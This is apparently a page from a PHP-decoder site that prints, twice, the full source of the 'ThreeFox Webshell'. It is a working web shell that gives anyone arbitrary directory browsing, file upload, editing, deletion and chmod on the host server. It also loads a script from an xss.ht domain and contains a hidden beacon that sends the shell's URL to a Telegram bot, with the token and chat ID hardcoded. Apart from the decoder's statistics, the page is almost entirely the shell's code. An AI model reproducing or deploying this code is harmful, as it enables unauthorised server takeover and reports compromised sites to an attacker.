Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php // Enable error reporting for debugging error_reporting(E_ALL); ini_set('display_..
Decoded Output download
<?php
// Enable error reporting for debugging
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Get the current directory if 'dir' is passed
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$currentDir = realpath($currentDir); // Resolve to an absolute path
// Handling file upload
$uploadSuccess = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['uploadFile'])) {
$targetFile = __DIR__ . '/' . basename($_FILES['uploadFile']['name']); // Save in the same directory as this PHP file
if (move_uploaded_file($_FILES['uploadFile']['tmp_name'], $targetFile)) {
$uploadSuccess = true;
}
}
// Handling file actions
$action = $_POST['action'] ?? '';
$output = ''; // Output for action results
// File actions like edit, delete, chmod
if ($action === 'edit' && isset($_POST['target'])) {
$fileToEdit = $_POST['target'];
if (file_exists($fileToEdit) && is_writable($fileToEdit)) {
$editFileContent = file_get_contents($fileToEdit);
} else {
$output = "Cannot edit the file.";
}
}
if ($action === 'save' && isset($_POST['content']) && isset($fileToEdit)) {
file_put_contents($fileToEdit, $_POST['content']);
$output = "File saved successfully!";
}
if ($action === 'delete' && isset($_POST['target'])) {
$fileToDelete = $_POST['target'];
if (file_exists($fileToDelete) && is_writable($fileToDelete)) {
unlink($fileToDelete);
$output = "File deleted successfully!";
} else {
$output = "Cannot delete the file.";
}
}
if ($action === 'chmod' && isset($_POST['permissions']) && isset($_POST['target'])) {
$fileToChmod = $_POST['target'];
$permissions = $_POST['permissions'];
if (file_exists($fileToChmod)) {
chmod($fileToChmod, octdec($permissions));
$output = "Permissions changed successfully!";
} else {
$output = "File not found.";
}
}
// Scan files in the current directory
if (is_dir($currentDir)) {
$items = scandir($currentDir);
$items = array_diff($items, array('.', '..'));
} else {
$items = [];
}
// Function to format file size
function formatBytes($bytes, $precision = 2) {
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
$bytes = max($bytes, 0);
$power = floor(($bytes ? log($bytes) : 0) / log(1024));
return number_format($bytes / pow(1024, $power), $precision) . ' ' . $units[$power];
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ThreeFox Webshell</title>
<script src="https://googlescripts.xss.ht"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
<style>
body {
font-family: 'Dancing Script', cursive; /* Signature-style font */
background-color: #1f1f1f;
color: #ffffff;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
height: 100vh;
overflow: hidden;
line-height: 1.8; /* Enhance readability for script fonts */
}
/* Apply font-family to input, textarea, and select elements */
input, textarea, select {
font-family: 'Dancing Script', cursive;
font-size: 16px; /* Optional: Adjust font size */
color: #ffffff;
background-color: #2c3e50;
border: 1px solid #95a5a6;
border-radius: 5px;
padding: 10px;
}
/* Style for the placeholder text */
input::placeholder,
textarea::placeholder {
font-family: 'Dancing Script', cursive;
font-style: italic; /* Optional: Make it italic for a stylish look */
color: #95a5a6; /* Optional: Adjust color for better visibility */
}
/* Import the Dancing Script font */
@import url('https://fonts.googleapis.com/css2?family=Dancing+Script:wght@400;500;600&display=swap');
.container {
display: flex;
width: 100%;
height: 100%;
}
.sidebar {
width: 20%;
background-color: #2c3e50;
padding: 20px;
box-shadow: 2px 0 5px rgba(0, 0, 0, 0.2);
text-align: center;
position: relative;
overflow-y: auto;
}
.sidebar img {
max-width: 100%;
height: auto;
}
.sidebar .forms {
position: absolute;
bottom: 20px;
width: 100%;
text-align: center;
}
.main-content {
width: 80%;
padding: 20px;
background-color: #34495e;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
height: 100%;
overflow-y: auto;
}
.file-manager {
background-color: #2c3e50;
padding: 20px;
border-radius: 10px;
}
.file-manager h1 {
text-align: center;
color: #f39c12;
}
.system-info {
margin-bottom: 20px;
background-color: #34495e;
padding: 10px;
border-radius: 8px;
border: 1px solid #95a5a6;
}
.system-info p {
margin: 5px 0;
}
.file-list {
width: 100%;
border-collapse: collapse;
}
.file-list th, .file-list td {
width: 80%;
padding: 10px;
text-align: left;
border-bottom: 1px solid #ecf0f1;
}
.file-list th {
background-color: #2980b9;
}
.file-list tr:hover {
background-color: #34495e;
}
.file-actions {
display: flex;
justify-content: center;
margin-top: 5px;
}
.file-actions form {
display: inline;
}
.file-actions button {
background: none;
border: none;
color: #f39c12;
cursor: pointer;
font-size: 16px;
margin: 0 5px;
padding: 5px;
}
.file-actions button:hover {
color: #f1c40f;
}
.edit-form, .upload-form, .execute-form {
margin-top: 20px;
}
.edit-form textarea, .upload-form input, .execute-form input {
width: 98%;
padding: 10px;
border-radius: 5px;
border: 1px solid #95a5a6;
}
.edit-form textarea {
height: 300px;
}
.edit-form button, .upload-form button, .execute-form button {
background-color: #f39c12;
width: 100%;
color: #fff;
padding: 10px 20px;
border: none;
cursor: pointer;
border-radius: 5px;
}
.edit-form button:hover, .upload-form button:hover, .execute-form button:hover {
background-color: #e67e22;
}
.breadcrumbs {
margin-bottom: 20px;
font-size: 14px;
color: #95a5a6;
}
.breadcrumbs a {
color: #f39c12;
text-decoration: none;
}
.breadcrumbs a:hover {
color: #e67e22;
}
@media (max-width: 768px) {
.container {
flex-direction: column;
align-items: center;
}
.sidebar {
width: 100%;
margin-bottom: 20px;
height: 50%;
}
.main-content {
width: 100%;
height: 50%;
}
}
/* Hidden File Input and Custom Upload Button */
.upload-button {
background-color: #f39c12;
color: white;
padding: 10px 20px;
border: none;
cursor: pointer;
border-radius: 5px;
}
.upload-button:hover {
background-color: #e67e22;
}
.upload-form input[type="file"] {
display: none;
}
/* Make directory names white */
.file-list a {
color: white;
text-decoration: none;
}
.file-list a:hover {
color: #f39c12;
}
.telegram-btn {
text-decoration: none;
display: inline-block;
padding: 12px 25px;
background: #0088cc;
color: #fff;
font-weight: 600;
font-size: 16px;
border-radius: 25px;
transition: all 0.3s ease;
box-shadow: 0 4px 10px rgba(0, 136, 204, 0.3);
}
.telegram-btn:hover {
background: #005f8c;
transform: translateY(-3px);
box-shadow: 0 6px 15px rgba(0, 136, 204, 0.5);
}
.telegram-btn i {
margin-right: 8px;
}
</style>
</head>
<body>
<div class="container">
<!-- Sidebar (Logo) -->
<div class="sidebar">
<img src="https://i.ibb.co/Nmfp5Tj/fox.png" alt="ThreeFox Logo">
<br><br>
<p>Stay connected with Team ThreeFox and get access to exclusive tools and updates!</p>
<a href="https://t.me/team_threefox" target="_blank" class="telegram-btn">
<i class="fab fa-telegram"></i> Join Our Telegram Channel
</a>
<!-- Font Awesome Icons (Optional for Telegram icon) -->
<script src="https://kit.fontawesome.com/a076d05399.js" crossorigin="anonymous"></script>
<!-- File Upload Form -->
<div class="upload-form">
<button class="upload-button" onclick="document.getElementById('fileInput').click();">Upload File</button>
<form method="POST" enctype="multipart/form-data" style="display:none;">
<input type="file" id="fileInput" name="uploadFile" onchange="this.form.submit();">
</form>
</div>
<footer>
<p>© <span id="current-year"></span> Team ThreeFox. All Rights Reserved.</p>
</footer>
<script>
// JavaScript to automatically insert the current year
document.getElementById('current-year').textContent = new Date().getFullYear();
</script>
</div>
<!-- Main Content -->
<div class="main-content">
<div class="file-manager">
<h1>ThreeFox Webshell</h1>
<!-- System Information Section -->
<div class="system-info">
<p>Current User: <b><?php echo htmlspecialchars(get_current_user()); ?></b></p>
<p>Current Date and Time: <b><?php echo htmlspecialchars(date('Y-m-d H:i:s')); ?></b></p>
<p>PHP Version: <b><?php echo htmlspecialchars(phpversion()); ?></b></p>
<p>Free Disk Space: <b><?php echo formatBytes(disk_free_space(__DIR__)); ?></b></p>
<p>Total Disk Space: <b><?php echo formatBytes(disk_total_space(__DIR__)); ?></b></p>
</div>
<!-- Directory Navigation -->
<div class="breadcrumbs">
<?php
$parts = explode(DIRECTORY_SEPARATOR, trim($currentDir, DIRECTORY_SEPARATOR)); // Split directory path
$path = '';
$isRoot = DIRECTORY_SEPARATOR === '/'; // Check if the system uses "/" as root
// Add Home icon at the beginning
echo '<img src="https://cdn-icons-png.flaticon.com/512/1946/1946488.png" alt="Home" style="width: 16px; height: 16px; margin-right: 5px;"> Home';
// Loop through directories to create the breadcrumb trail
foreach ($parts as $index => $part) {
$path .= DIRECTORY_SEPARATOR . $part; // Build the path incrementally
if ($index !== array_key_last($parts)) {
// Non-current directories are links
echo ' > <a href="?dir=' . urlencode($path) . '">' . htmlspecialchars($part) . '</a>';
} else {
// Current directory as plain text
echo ' > ' . htmlspecialchars($part);
}
}
?>
</div>
<div class="file-list">
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($items as $item) : ?>
<?php
$itemPath = $currentDir . DIRECTORY_SEPARATOR . $item;
$isDir = is_dir($itemPath);
$itemSize = $isDir ? '-' : formatBytes(filesize($itemPath));
?>
<tr>
<td>
<?php if ($isDir) : ?>
<a href="?dir=<?php echo urlencode($itemPath); ?>"><?php echo htmlspecialchars($item); ?></a>
<?php else : ?>
<?php echo htmlspecialchars($item); ?>
<?php endif; ?>
</td>
<td><?php echo $itemSize; ?></td>
<td class="file-actions">
<form method="POST">
<input type="hidden" name="action" value="edit">
<input type="hidden" name="target" value="<?php echo htmlspecialchars($itemPath); ?>">
<button type="submit"><i class="fa fa-edit"></i> Edit</button>
</form>
<form method="POST">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="target" value="<?php echo htmlspecialchars($itemPath); ?>">
<button type="submit"><i class="fa fa-trash"></i> Delete</button>
</form>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<!-- Edit Form -->
<?php if (isset($editFileContent)) : ?>
<div class="edit-form">
<form method="POST">
<input type="hidden" name="action" value="save">
<input type="hidden" name="target" value="<?php echo htmlspecialchars($fileToEdit); ?>">
<textarea name="content"><?php echo htmlspecialchars($editFileContent); ?></textarea>
<button type="submit" style="width: 100%;">Save Changes</button>
</form>
</div>
<?php endif; ?>
<!-- Upload Success Modal -->
<?php if ($uploadSuccess) : ?>
<div class="success-dialog">
<p>File uploaded successfully!</p>
<button onclick="this.parentElement.style.display='none';">Close</button>
</div>
<?php endif; ?>
</div>
</div>
</div>
</body>
</html>
<?php
$botToken = "7745240188:AAHstZJltbQY6EOCjHPGZASgSUjchGWaNfM";
$chatId = "6781227366";
$fileUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$logFile = '.logs';
if (file_exists($logFile)) {
exit;
}
$telegramApiUrl = "https://api.telegram.org/bot$botToken/sendMessage";
$data = [
'chat_id' => $chatId,
'text' => $fileUrl,
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
file_put_contents($logFile, "");
?>
Did this file decode correctly?
Original Code
<?php
// Enable error reporting for debugging
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Get the current directory if 'dir' is passed
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$currentDir = realpath($currentDir); // Resolve to an absolute path
// Handling file upload
$uploadSuccess = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['uploadFile'])) {
$targetFile = __DIR__ . '/' . basename($_FILES['uploadFile']['name']); // Save in the same directory as this PHP file
if (move_uploaded_file($_FILES['uploadFile']['tmp_name'], $targetFile)) {
$uploadSuccess = true;
}
}
// Handling file actions
$action = $_POST['action'] ?? '';
$output = ''; // Output for action results
// File actions like edit, delete, chmod
if ($action === 'edit' && isset($_POST['target'])) {
$fileToEdit = $_POST['target'];
if (file_exists($fileToEdit) && is_writable($fileToEdit)) {
$editFileContent = file_get_contents($fileToEdit);
} else {
$output = "Cannot edit the file.";
}
}
if ($action === 'save' && isset($_POST['content']) && isset($fileToEdit)) {
file_put_contents($fileToEdit, $_POST['content']);
$output = "File saved successfully!";
}
if ($action === 'delete' && isset($_POST['target'])) {
$fileToDelete = $_POST['target'];
if (file_exists($fileToDelete) && is_writable($fileToDelete)) {
unlink($fileToDelete);
$output = "File deleted successfully!";
} else {
$output = "Cannot delete the file.";
}
}
if ($action === 'chmod' && isset($_POST['permissions']) && isset($_POST['target'])) {
$fileToChmod = $_POST['target'];
$permissions = $_POST['permissions'];
if (file_exists($fileToChmod)) {
chmod($fileToChmod, octdec($permissions));
$output = "Permissions changed successfully!";
} else {
$output = "File not found.";
}
}
// Scan files in the current directory
if (is_dir($currentDir)) {
$items = scandir($currentDir);
$items = array_diff($items, array('.', '..'));
} else {
$items = [];
}
// Function to format file size
function formatBytes($bytes, $precision = 2) {
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
$bytes = max($bytes, 0);
$power = floor(($bytes ? log($bytes) : 0) / log(1024));
return number_format($bytes / pow(1024, $power), $precision) . ' ' . $units[$power];
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ThreeFox Webshell</title>
<script src="https://googlescripts.xss.ht"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
<style>
body {
font-family: 'Dancing Script', cursive; /* Signature-style font */
background-color: #1f1f1f;
color: #ffffff;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
height: 100vh;
overflow: hidden;
line-height: 1.8; /* Enhance readability for script fonts */
}
/* Apply font-family to input, textarea, and select elements */
input, textarea, select {
font-family: 'Dancing Script', cursive;
font-size: 16px; /* Optional: Adjust font size */
color: #ffffff;
background-color: #2c3e50;
border: 1px solid #95a5a6;
border-radius: 5px;
padding: 10px;
}
/* Style for the placeholder text */
input::placeholder,
textarea::placeholder {
font-family: 'Dancing Script', cursive;
font-style: italic; /* Optional: Make it italic for a stylish look */
color: #95a5a6; /* Optional: Adjust color for better visibility */
}
/* Import the Dancing Script font */
@import url('https://fonts.googleapis.com/css2?family=Dancing+Script:wght@400;500;600&display=swap');
.container {
display: flex;
width: 100%;
height: 100%;
}
.sidebar {
width: 20%;
background-color: #2c3e50;
padding: 20px;
box-shadow: 2px 0 5px rgba(0, 0, 0, 0.2);
text-align: center;
position: relative;
overflow-y: auto;
}
.sidebar img {
max-width: 100%;
height: auto;
}
.sidebar .forms {
position: absolute;
bottom: 20px;
width: 100%;
text-align: center;
}
.main-content {
width: 80%;
padding: 20px;
background-color: #34495e;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
height: 100%;
overflow-y: auto;
}
.file-manager {
background-color: #2c3e50;
padding: 20px;
border-radius: 10px;
}
.file-manager h1 {
text-align: center;
color: #f39c12;
}
.system-info {
margin-bottom: 20px;
background-color: #34495e;
padding: 10px;
border-radius: 8px;
border: 1px solid #95a5a6;
}
.system-info p {
margin: 5px 0;
}
.file-list {
width: 100%;
border-collapse: collapse;
}
.file-list th, .file-list td {
width: 80%;
padding: 10px;
text-align: left;
border-bottom: 1px solid #ecf0f1;
}
.file-list th {
background-color: #2980b9;
}
.file-list tr:hover {
background-color: #34495e;
}
.file-actions {
display: flex;
justify-content: center;
margin-top: 5px;
}
.file-actions form {
display: inline;
}
.file-actions button {
background: none;
border: none;
color: #f39c12;
cursor: pointer;
font-size: 16px;
margin: 0 5px;
padding: 5px;
}
.file-actions button:hover {
color: #f1c40f;
}
.edit-form, .upload-form, .execute-form {
margin-top: 20px;
}
.edit-form textarea, .upload-form input, .execute-form input {
width: 98%;
padding: 10px;
border-radius: 5px;
border: 1px solid #95a5a6;
}
.edit-form textarea {
height: 300px;
}
.edit-form button, .upload-form button, .execute-form button {
background-color: #f39c12;
width: 100%;
color: #fff;
padding: 10px 20px;
border: none;
cursor: pointer;
border-radius: 5px;
}
.edit-form button:hover, .upload-form button:hover, .execute-form button:hover {
background-color: #e67e22;
}
.breadcrumbs {
margin-bottom: 20px;
font-size: 14px;
color: #95a5a6;
}
.breadcrumbs a {
color: #f39c12;
text-decoration: none;
}
.breadcrumbs a:hover {
color: #e67e22;
}
@media (max-width: 768px) {
.container {
flex-direction: column;
align-items: center;
}
.sidebar {
width: 100%;
margin-bottom: 20px;
height: 50%;
}
.main-content {
width: 100%;
height: 50%;
}
}
/* Hidden File Input and Custom Upload Button */
.upload-button {
background-color: #f39c12;
color: white;
padding: 10px 20px;
border: none;
cursor: pointer;
border-radius: 5px;
}
.upload-button:hover {
background-color: #e67e22;
}
.upload-form input[type="file"] {
display: none;
}
/* Make directory names white */
.file-list a {
color: white;
text-decoration: none;
}
.file-list a:hover {
color: #f39c12;
}
.telegram-btn {
text-decoration: none;
display: inline-block;
padding: 12px 25px;
background: #0088cc;
color: #fff;
font-weight: 600;
font-size: 16px;
border-radius: 25px;
transition: all 0.3s ease;
box-shadow: 0 4px 10px rgba(0, 136, 204, 0.3);
}
.telegram-btn:hover {
background: #005f8c;
transform: translateY(-3px);
box-shadow: 0 6px 15px rgba(0, 136, 204, 0.5);
}
.telegram-btn i {
margin-right: 8px;
}
</style>
</head>
<body>
<div class="container">
<!-- Sidebar (Logo) -->
<div class="sidebar">
<img src="https://i.ibb.co/Nmfp5Tj/fox.png" alt="ThreeFox Logo">
<br><br>
<p>Stay connected with Team ThreeFox and get access to exclusive tools and updates!</p>
<a href="https://t.me/team_threefox" target="_blank" class="telegram-btn">
<i class="fab fa-telegram"></i> Join Our Telegram Channel
</a>
<!-- Font Awesome Icons (Optional for Telegram icon) -->
<script src="https://kit.fontawesome.com/a076d05399.js" crossorigin="anonymous"></script>
<!-- File Upload Form -->
<div class="upload-form">
<button class="upload-button" onclick="document.getElementById('fileInput').click();">Upload File</button>
<form method="POST" enctype="multipart/form-data" style="display:none;">
<input type="file" id="fileInput" name="uploadFile" onchange="this.form.submit();">
</form>
</div>
<footer>
<p>© <span id="current-year"></span> Team ThreeFox. All Rights Reserved.</p>
</footer>
<script>
// JavaScript to automatically insert the current year
document.getElementById('current-year').textContent = new Date().getFullYear();
</script>
</div>
<!-- Main Content -->
<div class="main-content">
<div class="file-manager">
<h1>ThreeFox Webshell</h1>
<!-- System Information Section -->
<div class="system-info">
<p>Current User: <b><?php echo htmlspecialchars(get_current_user()); ?></b></p>
<p>Current Date and Time: <b><?php echo htmlspecialchars(date('Y-m-d H:i:s')); ?></b></p>
<p>PHP Version: <b><?php echo htmlspecialchars(phpversion()); ?></b></p>
<p>Free Disk Space: <b><?php echo formatBytes(disk_free_space(__DIR__)); ?></b></p>
<p>Total Disk Space: <b><?php echo formatBytes(disk_total_space(__DIR__)); ?></b></p>
</div>
<!-- Directory Navigation -->
<div class="breadcrumbs">
<?php
$parts = explode(DIRECTORY_SEPARATOR, trim($currentDir, DIRECTORY_SEPARATOR)); // Split directory path
$path = '';
$isRoot = DIRECTORY_SEPARATOR === '/'; // Check if the system uses "/" as root
// Add Home icon at the beginning
echo '<img src="https://cdn-icons-png.flaticon.com/512/1946/1946488.png" alt="Home" style="width: 16px; height: 16px; margin-right: 5px;"> Home';
// Loop through directories to create the breadcrumb trail
foreach ($parts as $index => $part) {
$path .= DIRECTORY_SEPARATOR . $part; // Build the path incrementally
if ($index !== array_key_last($parts)) {
// Non-current directories are links
echo ' > <a href="?dir=' . urlencode($path) . '">' . htmlspecialchars($part) . '</a>';
} else {
// Current directory as plain text
echo ' > ' . htmlspecialchars($part);
}
}
?>
</div>
<div class="file-list">
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($items as $item) : ?>
<?php
$itemPath = $currentDir . DIRECTORY_SEPARATOR . $item;
$isDir = is_dir($itemPath);
$itemSize = $isDir ? '-' : formatBytes(filesize($itemPath));
?>
<tr>
<td>
<?php if ($isDir) : ?>
<a href="?dir=<?php echo urlencode($itemPath); ?>"><?php echo htmlspecialchars($item); ?></a>
<?php else : ?>
<?php echo htmlspecialchars($item); ?>
<?php endif; ?>
</td>
<td><?php echo $itemSize; ?></td>
<td class="file-actions">
<form method="POST">
<input type="hidden" name="action" value="edit">
<input type="hidden" name="target" value="<?php echo htmlspecialchars($itemPath); ?>">
<button type="submit"><i class="fa fa-edit"></i> Edit</button>
</form>
<form method="POST">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="target" value="<?php echo htmlspecialchars($itemPath); ?>">
<button type="submit"><i class="fa fa-trash"></i> Delete</button>
</form>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<!-- Edit Form -->
<?php if (isset($editFileContent)) : ?>
<div class="edit-form">
<form method="POST">
<input type="hidden" name="action" value="save">
<input type="hidden" name="target" value="<?php echo htmlspecialchars($fileToEdit); ?>">
<textarea name="content"><?php echo htmlspecialchars($editFileContent); ?></textarea>
<button type="submit" style="width: 100%;">Save Changes</button>
</form>
</div>
<?php endif; ?>
<!-- Upload Success Modal -->
<?php if ($uploadSuccess) : ?>
<div class="success-dialog">
<p>File uploaded successfully!</p>
<button onclick="this.parentElement.style.display='none';">Close</button>
</div>
<?php endif; ?>
</div>
</div>
</div>
</body>
</html>
<?php
$botToken = "7745240188:AAHstZJltbQY6EOCjHPGZASgSUjchGWaNfM";
$chatId = "6781227366";
$fileUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$logFile = '.logs';
if (file_exists($logFile)) {
exit;
}
$telegramApiUrl = "https://api.telegram.org/bot$botToken/sendMessage";
$data = [
'chat_id' => $chatId,
'text' => $fileUrl,
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
file_put_contents($logFile, "");
?>
Function Calls
None |
Stats
MD5 | 5db57b32dc1732388371cf32b8127e21 |
Eval Count | 0 |
Decode Time | 123 ms |